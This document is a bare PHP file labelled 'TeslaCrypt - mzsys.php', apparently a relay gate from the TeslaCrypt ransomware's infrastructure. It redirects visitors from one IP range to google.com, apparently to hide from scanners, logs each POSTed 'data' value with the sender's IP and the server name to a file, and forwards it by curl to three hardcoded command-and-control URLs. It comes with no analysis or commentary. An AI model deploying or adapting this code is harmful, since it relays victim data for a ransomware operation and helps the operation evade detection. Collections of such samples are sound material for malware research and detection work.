TeslaCrypt - mzsys.php

    <?php
    $network = ip2long("23.96.0.0");
    $mask = ip2long("255.248.0.0");
    $remote = ip2long($_SERVER['REMOTE_ADDR']);

    if (($remote & $mask) == $network)
        {
        header("Location: http://google.com");
        exit;
        }

    set_time_limit(300);

    if (!isset($_POST['data']))
        {
        die("empty post");
        }

    $post = array(
        'data' => $_POST['data'],
        'IP' => $_SERVER['REMOTE_ADDR'],
        'SHELL' => $_SERVER['SERVER_NAME'],
    );
    $gate = array(
        "http://perc54hg47fhnkjnfvcdgvdc.clinkjuno.com/ing.php",
        "http://yy46bdff329hfbcjhbme2f.evertmazic.com/ing.php",
        "http://dd7bsndhr45nfksdnkferfer.javakale.at/ing.php",
    );
    $fp = fopen("most.txt", "a+");
    fwrite($fp, 'data=' . $_POST['data'] . ' IP=' . $_SERVER['REMOTE_ADDR'] . ' SHELL=' . $_SERVER['SERVER_NAME'] . "\n");
    fclose($fp);

    foreach($gate as $value)
        {
        $process = curl_init();
        curl_setopt($process, CURLOPT_URL, $value);
        curl_setopt($process, CURLOPT_POST, 1);
        curl_setopt($process, CURLOPT_POSTFIELDS, $post);
        curl_setopt($process, CURLOPT_RETURNTRANSFER, true);
        if (!$result = curl_exec($process))
            {
            continue;
            }

        if (stristr($result, "work:"))
            {
            echo $result;
            curl_close($process);
            die();
            }

        if (stristr($result, "INSERTED"))
            {
            echo $result;
            curl_close($process);
            die();
            }

        curl_close($process);
        } ?>